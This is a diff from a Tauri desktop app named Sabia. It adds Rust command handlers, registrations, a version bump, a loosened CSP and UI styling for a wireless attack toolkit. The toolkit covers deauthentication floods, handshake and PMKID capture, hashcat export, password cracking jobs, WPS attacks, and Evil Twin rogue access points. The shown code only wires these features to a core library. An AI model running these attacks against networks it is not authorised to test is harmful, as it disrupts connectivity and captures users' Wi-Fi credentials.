fn crack_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.crack_jobs()).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn deauth(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: Option<String>,
|
||||
count: Option<u32>,
|
||||
reason: Option<u16>,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.deauth(
|
||||
&iface,
|
||||
&bssid,
|
||||
station.as_deref(),
|
||||
count.unwrap_or(5),
|
||||
reason.unwrap_or(7),
|
||||
)
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn deauth_directional(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: Option<String>,
|
||||
count: Option<u32>,
|
||||
reason: Option<u16>,
|
||||
direction: Option<String>,
|
||||
frame_kind: Option<String>,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.deauth_directional(
|
||||
&iface,
|
||||
&bssid,
|
||||
station.as_deref(),
|
||||
count.unwrap_or(5),
|
||||
reason.unwrap_or(7),
|
||||
direction.as_deref().unwrap_or("ap"),
|
||||
frame_kind.as_deref().unwrap_or("deauth"),
|
||||
)
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn start_deauth_job(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: Option<String>,
|
||||
reason: Option<u16>,
|
||||
direction: Option<String>,
|
||||
frame_kind: Option<String>,
|
||||
interval_ms: Option<u64>,
|
||||
max_secs: Option<u64>,
|
||||
stop_on_handshake: Option<bool>,
|
||||
) -> Result<String, String> {
|
||||
state
|
||||
.0
|
||||
.start_deauth_job(
|
||||
&iface,
|
||||
&bssid,
|
||||
station.as_deref(),
|
||||
reason.unwrap_or(7),
|
||||
direction.as_deref().unwrap_or("both"),
|
||||
frame_kind.as_deref().unwrap_or("deauth"),
|
||||
interval_ms.unwrap_or(120),
|
||||
max_secs,
|
||||
stop_on_handshake.unwrap_or(false),
|
||||
)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn stop_deauth_job(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||
state.0.stop_deauth_job(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn deauth_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||
match state.0.deauth_job(&id) {
|
||||
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||
None => Err("job de deauth não encontrado".into()),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn deauth_jobs(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: Option<String>,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let jobs = state.0.deauth_jobs();
|
||||
let jobs: Vec<_> = match iface {
|
||||
Some(iface) => jobs
|
||||
.into_iter()
|
||||
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
|
||||
.collect(),
|
||||
None => jobs,
|
||||
};
|
||||
serde_json::to_value(jobs).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn capture_handshake(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: Option<String>,
|
||||
seconds: Option<u64>,
|
||||
) -> Result<String, String> {
|
||||
state
|
||||
.0
|
||||
.capture_handshake(&iface, &bssid, station.as_deref(), seconds)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn report(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(model).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn report_html(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
inline: Option<bool>,
|
||||
) -> Result<String, String> {
|
||||
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
|
||||
let options = sabia_core::report::ReportOptions {
|
||||
inline_pagedjs: inline.unwrap_or(false),
|
||||
..Default::default()
|
||||
};
|
||||
Ok(sabia_core::report::render(&model, options))
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn export_hc22000(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: String,
|
||||
out: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.export_hc22000(&iface, &bssid, &station, &out)
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn export_all_hc22000(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
out: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.export_all_hc22000(&iface, &out)
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn pmkid_hunt(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
attempts: Option<u32>,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.pmkid_hunt(&iface, &bssid, attempts.unwrap_or(5))
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn pmf_test(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: String,
|
||||
reason: Option<u16>,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.pmf_test(&iface, &bssid, &station, reason.unwrap_or(7))
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn wps_tools(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.wps_tools()).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn start_wps(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
channel: u32,
|
||||
tool: String,
|
||||
pin: Option<String>,
|
||||
) -> Result<String, String> {
|
||||
state
|
||||
.0
|
||||
.start_wps(&iface, &bssid, channel, &tool, pin.as_deref())
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn wps_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||
match state.0.wps_job(&id) {
|
||||
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||
None => Err("job WPS não encontrado".into()),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn wps_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.wps_jobs()).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn stop_wps(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||
state.0.stop_wps(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn start_evil_twin(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
ap_iface: String,
|
||||
bssid: String,
|
||||
portal_port: Option<u16>,
|
||||
deauth: Option<bool>,
|
||||
) -> Result<String, String> {
|
||||
state
|
||||
.0
|
||||
.start_evil_twin(
|
||||
&iface,
|
||||
&ap_iface,
|
||||
&bssid,
|
||||
portal_port.unwrap_or(8080),
|
||||
deauth.unwrap_or(false),
|
||||
)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn eviltwin_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||
match state.0.eviltwin_job(&id) {
|
||||
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||
None => Err("job de Evil Twin não encontrado".into()),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn eviltwin_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.eviltwin_jobs()).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn stop_evil_twin(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||
state.0.stop_evil_twin(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn start_evil_twin_enterprise(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
ap_iface: String,
|
||||
bssid: String,
|
||||
) -> Result<String, String> {
|
||||
state
|
||||
.0
|
||||
.start_evil_twin_enterprise(&iface, &ap_iface, &bssid)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn eviltwin_enterprise_job(
|
||||
state: tauri::State<'_, State>,
|
||||
id: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
match state.0.enterprise_twin_job(&id) {
|
||||
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||
None => Err("job de Evil Twin Enterprise não encontrado".into()),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn eviltwin_enterprise_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.enterprise_twin_jobs()).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn stop_evil_twin_enterprise(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||
state
|
||||
.0
|
||||
.stop_evil_twin_enterprise(&id)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn start_scan_opts(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
channel: Option<u32>,
|
||||
band: Option<String>,
|
||||
hop_ms: Option<u64>,
|
||||
pcap_out: Option<String>,
|
||||
seconds: Option<u64>,
|
||||
) -> Result<(), String> {
|
||||
let options = ScanOptions {
|
||||
channel,
|
||||
band,
|
||||
hop_ms: hop_ms.unwrap_or(350),
|
||||
pcap_out: pcap_out.map(Into::into),
|
||||
duration_secs: seconds,
|
||||
};
|
||||
state
|
||||
.0
|
||||
.start_scan_with(&iface, options)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn update_check(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||
let status = state.0.update_check().map_err(|e| e.to_string())?;
|
||||
@@ -85,7 +543,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
||||
let exe = elevated_exe()?;
|
||||
let log = std::env::temp_dir().join(format!("sabia-elevate-{}.log", std::process::id()));
|
||||
let _ = std::fs::write(&log, b"");
|
||||
let out = std::fs::OpenOptions::new().append(true).open(&log).map_err(|e| e.to_string())?;
|
||||
let out = std::fs::OpenOptions::new()
|
||||
.append(true)
|
||||
.open(&log)
|
||||
.map_err(|e| e.to_string())?;
|
||||
let err = out.try_clone().map_err(|e| e.to_string())?;
|
||||
let pid = std::process::id().to_string();
|
||||
|
||||
@@ -93,7 +554,14 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
||||
let mut cmd = {
|
||||
let mut c = std::process::Command::new("pkexec");
|
||||
c.arg("/usr/bin/env");
|
||||
for k in ["DISPLAY", "WAYLAND_DISPLAY", "XAUTHORITY", "XDG_RUNTIME_DIR", "DBUS_SESSION_BUS_ADDRESS", "GDK_BACKEND"] {
|
||||
for k in [
|
||||
"DISPLAY",
|
||||
"WAYLAND_DISPLAY",
|
||||
"XAUTHORITY",
|
||||
"XDG_RUNTIME_DIR",
|
||||
"DBUS_SESSION_BUS_ADDRESS",
|
||||
"GDK_BACKEND",
|
||||
] {
|
||||
if let Ok(v) = std::env::var(k) {
|
||||
c.arg(format!("{k}={v}"));
|
||||
}
|
||||
@@ -104,14 +572,23 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
||||
};
|
||||
#[cfg(target_os = "macos")]
|
||||
let mut cmd = {
|
||||
let shell = format!("SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &", pid, exe.display());
|
||||
let script = format!("do shell script \"{}\" with administrator privileges", shell.replace('\\', "\\\\").replace('"', "\\\""));
|
||||
let shell = format!(
|
||||
"SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &",
|
||||
pid,
|
||||
exe.display()
|
||||
);
|
||||
let script = format!(
|
||||
"do shell script \"{}\" with administrator privileges",
|
||||
shell.replace('\\', "\\\\").replace('"', "\\\"")
|
||||
);
|
||||
let mut c = std::process::Command::new("osascript");
|
||||
c.args(["-e", &script]);
|
||||
c
|
||||
};
|
||||
cmd.stdout(out).stderr(err);
|
||||
let mut child = cmd.spawn().map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
|
||||
let mut child = cmd
|
||||
.spawn()
|
||||
.map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
|
||||
std::thread::spawn(move || {
|
||||
let status = child.wait();
|
||||
if matches!(&status, Ok(s) if s.success()) {
|
||||
@@ -122,7 +599,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
||||
let msg = match status.ok().and_then(|s| s.code()) {
|
||||
Some(126) => "Autorização cancelada.".to_string(),
|
||||
Some(127) => "Não foi possível autenticar como administrador.".to_string(),
|
||||
_ => format!("Não foi possível reiniciar como administrador. {}", detail.lines().last().unwrap_or("").trim()),
|
||||
_ => format!(
|
||||
"Não foi possível reiniciar como administrador. {}",
|
||||
detail.lines().last().unwrap_or("").trim()
|
||||
),
|
||||
};
|
||||
let _ = app.emit("elevate-failed", msg);
|
||||
let _ = std::fs::remove_file(&log);
|
||||
@@ -135,7 +615,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
||||
/// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`).
|
||||
#[cfg(any(target_os = "linux", target_os = "macos"))]
|
||||
fn elevated_exe() -> Result<std::path::PathBuf, String> {
|
||||
if let Some(p) = std::env::var_os("APPIMAGE").map(std::path::PathBuf::from).filter(|p| p.is_file()) {
|
||||
if let Some(p) = std::env::var_os("APPIMAGE")
|
||||
.map(std::path::PathBuf::from)
|
||||
.filter(|p| p.is_file())
|
||||
{
|
||||
return Ok(p);
|
||||
}
|
||||
std::env::current_exe().map_err(|e| e.to_string())
|
||||
@@ -148,7 +631,10 @@ fn main() {
|
||||
.setup(|app| {
|
||||
// Quando abrimos elevados a pedido do app normal, ele fecha o app antigo.
|
||||
#[cfg(unix)]
|
||||
if let Some(pid) = std::env::var("SABIA_REPLACE_PID").ok().and_then(|p| p.parse::<i32>().ok()) {
|
||||
if let Some(pid) = std::env::var("SABIA_REPLACE_PID")
|
||||
.ok()
|
||||
.and_then(|p| p.parse::<i32>().ok())
|
||||
{
|
||||
std::thread::spawn(move || {
|
||||
std::thread::sleep(std::time::Duration::from_millis(1200));
|
||||
// SAFETY: só envia SIGTERM ao processo anterior do próprio usuário.
|
||||
@@ -180,6 +666,42 @@ fn main() {
|
||||
start_scan,
|
||||
stop_scan,
|
||||
scan_results,
|
||||
scan_snapshot,
|
||||
scan_clients,
|
||||
handshakes,
|
||||
export_handshake,
|
||||
export_all_handshakes,
|
||||
start_crack,
|
||||
start_crack_mask,
|
||||
crack_job,
|
||||
crack_jobs,
|
||||
deauth,
|
||||
deauth_directional,
|
||||
start_deauth_job,
|
||||
stop_deauth_job,
|
||||
deauth_job,
|
||||
deauth_jobs,
|
||||
capture_handshake,
|
||||
report,
|
||||
report_html,
|
||||
export_hc22000,
|
||||
export_all_hc22000,
|
||||
pmkid_hunt,
|
||||
pmf_test,
|
||||
wps_tools,
|
||||
start_wps,
|
||||
wps_job,
|
||||
wps_jobs,
|
||||
stop_wps,
|
||||
start_evil_twin,
|
||||
eviltwin_job,
|
||||
eviltwin_jobs,
|
||||
stop_evil_twin,
|
||||
start_evil_twin_enterprise,
|
||||
eviltwin_enterprise_job,
|
||||
eviltwin_enterprise_jobs,
|
||||
stop_evil_twin_enterprise,
|
||||
start_scan_opts,
|
||||
update_check,
|
||||
update_apply,
|
||||
is_elevated,
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "Sabia",
|
||||
"version": "0.1.0",
|
||||
"version": "1.0.1",
|
||||
"identifier": "dev.sabia.app",
|
||||
"build": {
|
||||
"frontendDist": "../ui"
|
||||
@@ -19,7 +19,7 @@
|
||||
}
|
||||
],
|
||||
"security": {
|
||||
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'none'; object-src 'none'"
|
||||
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'self' data: blob:; object-src 'none'"
|
||||
}
|
||||
},
|
||||
"bundle": {
|
||||
|
||||
+285
-13
@@ -68,6 +68,7 @@
|
||||
:root[data-theme="dark"] { color-scheme: dark; }
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
[hidden] { display: none !important; }
|
||||
html, body { height: 100%; }
|
||||
body {
|
||||
margin: 0; background: var(--bg); color: var(--text);
|
||||
@@ -104,17 +105,27 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
|
||||
padding: 9px 10px; border-radius: 12px; transition: background .15s;
|
||||
}
|
||||
.dev:hover { background: color-mix(in srgb, var(--text) 6%, transparent); }
|
||||
.dev[aria-current="true"] { background: var(--accent-soft); }
|
||||
.dev[aria-current="true"], .dev[aria-pressed="true"] { background: var(--accent-soft); }
|
||||
.dev .ico { width: 34px; height: 34px; border-radius: 9px; display: grid; place-items: center; background: var(--surface); box-shadow: 0 0 0 1px var(--line); color: var(--text-2); }
|
||||
.dev[aria-current="true"] .ico { color: var(--accent); }
|
||||
.dev[aria-current="true"] .ico, .dev[aria-pressed="true"] .ico { color: var(--accent); }
|
||||
.dev .t { display: block; font-weight: 600; font-size: 14px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||
.dev .s { display: block; font-size: 11.5px; color: var(--text-2); font-family: var(--mono); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||
|
||||
.side-foot { margin-top: auto; padding: 14px 10px 4px; font-size: 11.5px; color: var(--text-3); display: flex; justify-content: space-between; gap: 8px; }
|
||||
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; text-decoration: underline; text-underline-offset: 2px; }
|
||||
.iface-pick { display: flex; flex-direction: column; align-items: stretch; gap: 8px; padding: 0 10px 4px; }
|
||||
.iface-pick .select { width: 100%; min-width: 0; }
|
||||
.iface-pick .pill { align-self: flex-start; }
|
||||
|
||||
.side-foot { margin-top: auto; padding: 14px 4px 4px; font-size: 11.5px; color: var(--text-3); display: grid; gap: 8px; }
|
||||
.foot-row { display: flex; align-items: center; justify-content: space-between; gap: 8px; }
|
||||
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; }
|
||||
.side-foot .foot-row > button:not(.icon-btn) { text-decoration: underline; text-underline-offset: 2px; }
|
||||
.side-foot button:hover { color: var(--text-2); }
|
||||
.lang-sel { background: transparent; border: 0; color: var(--text-3); font-size: 11.5px; cursor: pointer; }
|
||||
.lang-sel:hover { color: var(--text-2); }
|
||||
.icon-btn { width: 30px; height: 30px; border-radius: 9px; display: inline-grid; place-items: center; padding: 0; }
|
||||
.icon-btn:hover { background: color-mix(in srgb, var(--text) 8%, transparent); }
|
||||
|
||||
.theme-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); }
|
||||
.theme-switch button { border: 0; background: transparent; cursor: pointer; padding: 4px 9px; border-radius: 999px; font-size: 11.5px; color: var(--text-2); }
|
||||
.theme-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .18); font-weight: 600; }
|
||||
|
||||
.main { overflow-y: auto; min-width: 0; }
|
||||
.page { max-width: 1040px; margin: 0 auto; padding: 30px 36px 100px; animation: rise .35s cubic-bezier(.2, .8, .2, 1); }
|
||||
@@ -133,6 +144,9 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
|
||||
/* ------------------------------------------------------------ aviso */
|
||||
.notice { display: flex; gap: 10px; background: var(--surface); border-radius: 12px; padding: 12px 14px; box-shadow: var(--shadow); font-size: 13px; color: var(--text-2); margin-bottom: 20px; align-items: flex-start; }
|
||||
.notice svg { flex: none; margin-top: 2px; color: var(--warn); }
|
||||
.notice.warn { background: var(--warn-soft); } .notice.warn svg { color: var(--warn); }
|
||||
.notice.bad { background: var(--bad-soft); } .notice.bad svg { color: var(--bad); }
|
||||
.notice b { color: var(--text); }
|
||||
|
||||
/* ------------------------------------------------------------ controles */
|
||||
.controls { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); padding: 16px 18px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 22px; }
|
||||
@@ -153,23 +167,57 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
|
||||
.btn.live:hover { filter: brightness(1.06); }
|
||||
|
||||
/* ------------------------------------------------------------ tabela */
|
||||
.result-head { display: flex; align-items: baseline; justify-content: space-between; margin: 4px 2px 10px; }
|
||||
.result-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin: 4px 2px 10px; }
|
||||
.result-summary { display: flex; align-items: baseline; gap: 10px; min-width: 0; }
|
||||
.result-head strong { font-size: 15px; }
|
||||
.result-head span { color: var(--text-3); font-size: 12.5px; }
|
||||
.result-summary span { color: var(--text-3); font-size: 12.5px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||
.result-tools { display: flex; align-items: center; gap: 8px; }
|
||||
.result-tools .filter { border: 0; border-radius: 10px; padding: 7px 12px; width: 210px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
|
||||
.result-tools .filter::placeholder { color: var(--text-3); }
|
||||
.result-tools .select { width: auto; padding: 7px 10px; border-radius: 10px; font-size: 12.5px; }
|
||||
|
||||
.ap-card { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); overflow: hidden; }
|
||||
.net-card { overflow-x: auto; }
|
||||
table { width: 100%; border-collapse: collapse; }
|
||||
thead th { text-align: left; padding: 11px 14px; font-size: 10.5px; color: var(--text-3); text-transform: uppercase; letter-spacing: .06em; font-weight: 600; border-bottom: 1px solid var(--line); }
|
||||
tbody td { padding: 10px 14px; font-size: 13px; border-bottom: 1px solid var(--line); vertical-align: middle; }
|
||||
tbody tr:last-child td { border-bottom: 0; }
|
||||
tbody tr:hover { background: var(--surface-2); }
|
||||
td.bssid { font-family: var(--mono); font-size: 12px; color: var(--text-2); }
|
||||
td.ssid { font-weight: 600; }
|
||||
td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
||||
.sec-tag { font-size: 11.5px; font-weight: 600; padding: 2px 8px; border-radius: 999px; }
|
||||
.sec-aberta { background: var(--bad-soft); color: var(--bad); }
|
||||
.sec-wep { background: var(--warn-soft); color: var(--warn); }
|
||||
.sec-wpa, .sec-wpa2, .sec-wpa3 { background: var(--ok-soft); color: var(--ok); }
|
||||
|
||||
/* rede agrupada por ESSID; cada BSSID vira uma linha expansível */
|
||||
.caret-cell { width: 34px; padding-left: 10px; padding-right: 0; }
|
||||
.expander { width: 26px; height: 26px; border: 0; border-radius: 8px; background: transparent; color: var(--text-3); cursor: pointer; display: inline-grid; place-items: center; padding: 0; }
|
||||
.expander:hover { background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text); }
|
||||
.expander svg { transition: transform .18s; }
|
||||
.net-row.open .expander svg { transform: rotate(90deg); }
|
||||
.net-row.open > td { background: color-mix(in srgb, var(--text) 3%, transparent); }
|
||||
.net-name .ssid { display: block; font-weight: 600; line-height: 1.25; }
|
||||
.net-name .ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
||||
.net-sub { display: flex; flex-wrap: wrap; gap: 4px; margin-top: 3px; }
|
||||
.flag { font-size: 10px; font-weight: 700; letter-spacing: .03em; padding: 1px 6px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text-2); white-space: nowrap; }
|
||||
.flag-warn { background: var(--warn-soft); color: var(--warn); }
|
||||
.net-sec .sec-tag + .sec-tag { margin-left: 4px; }
|
||||
.net-chan .chans { font-variant-numeric: tabular-nums; font-weight: 600; }
|
||||
.net-band { display: block; font-size: 10.5px; color: var(--text-3); }
|
||||
.net-signal, .net-clients { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||
.net-clients { color: var(--text-2); }
|
||||
|
||||
.detail-row td { padding: 4px 14px 10px 46px; background: var(--surface-2); }
|
||||
.detail-row:hover { background: transparent; }
|
||||
.bssid-list { display: grid; gap: 1px; }
|
||||
.bssid-item { display: grid; grid-template-columns: minmax(150px, 1.4fr) 132px 112px minmax(92px, .8fr) 84px 1fr; gap: 10px; align-items: center; padding: 6px 8px; border-radius: 8px; font-size: 12.5px; }
|
||||
.bssid-item:hover { background: color-mix(in srgb, var(--text) 4%, transparent); }
|
||||
.bssid { color: var(--text-2); font-size: 11.5px; }
|
||||
.bssid-meta, .bssid-clients { color: var(--text-3); font-size: 12px; }
|
||||
.bssid-flags { display: flex; gap: 4px; justify-content: flex-end; flex-wrap: wrap; }
|
||||
|
||||
.sec-tag { font-size: 11px; font-weight: 600; padding: 2px 8px; border-radius: 999px; white-space: nowrap; }
|
||||
.sec-open { background: var(--bad-soft); color: var(--bad); }
|
||||
.sec-wep, .sec-wpa { background: var(--warn-soft); color: var(--warn); }
|
||||
.sec-wpa2, .sec-wpa3, .sec-owe { background: var(--ok-soft); color: var(--ok); }
|
||||
.sec-eap { background: var(--signal-soft); color: var(--signal); }
|
||||
.signal-bars { display: inline-flex; align-items: flex-end; gap: 1.5px; height: 14px; vertical-align: middle; margin-right: 6px; }
|
||||
.signal-bars i { width: 3px; background: var(--line); border-radius: 1px; display: block; }
|
||||
.signal-bars i.on { background: var(--signal); }
|
||||
@@ -179,6 +227,115 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
||||
.empty-state h2 { font-size: 17px; color: var(--text); margin-bottom: 6px; }
|
||||
.empty-state p { font-size: 13.5px; max-width: 360px; margin: 0 auto; }
|
||||
|
||||
/* ------------------------------------------------------------ configurações */
|
||||
dialog { border: 0; border-radius: 20px; padding: 24px; width: min(420px, calc(100vw - 32px)); background: var(--surface); color: var(--text); box-shadow: 0 30px 80px rgba(0, 0, 0, .35); }
|
||||
dialog::backdrop { background: rgba(0, 0, 0, .35); backdrop-filter: blur(6px); }
|
||||
dialog h2 { font-size: 20px; margin-bottom: 16px; }
|
||||
dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; margin: 22px 0 0; }
|
||||
.field { display: grid; gap: 6px; margin: 12px 0; }
|
||||
.field-label { font-size: 12px; color: var(--text-2); font-weight: 600; }
|
||||
.select { width: 100%; border: 0; border-radius: 12px; padding: 9px 14px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; cursor: pointer; }
|
||||
.select option { background-color: var(--surface); color: var(--text); }
|
||||
|
||||
|
||||
/* ------------------------------------------------------------ detalhes do alvo */
|
||||
.ssid-btn { display: block; border: 0; padding: 0; background: transparent; color: inherit; font: inherit; font-weight: 600; text-align: left; cursor: pointer; line-height: 1.25; }
|
||||
.ssid-btn:hover { color: var(--accent); text-decoration: underline; text-underline-offset: 3px; }
|
||||
.bssid-item { cursor: pointer; }
|
||||
.bssid-item:focus-visible { outline: 2px solid var(--signal); outline-offset: -2px; }
|
||||
.target-dlg { width: min(980px, calc(100vw - 32px)); max-height: min(90vh, 900px); padding: 0; overflow: hidden; display: flex; flex-direction: column; }
|
||||
.target-dlg:not([open]) { display: none; }
|
||||
.target-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 16px; padding: 22px 24px 12px; }
|
||||
.target-head h2 { font-size: 22px; line-height: 1.2; }
|
||||
.target-sub { display: flex; flex-wrap: wrap; align-items: center; gap: 5px 8px; color: var(--text-2); font-size: 12.5px; margin-top: 5px; }
|
||||
.target-sub .mono { color: var(--text-2); font-size: 12px; }
|
||||
.target-sub .sec-tag { margin-left: 2px; }
|
||||
.dot-sep { color: var(--text-3); }
|
||||
.bssid-select { width: auto; max-width: 320px; padding: 4px 8px; border-radius: 8px; font-size: 11.5px; }
|
||||
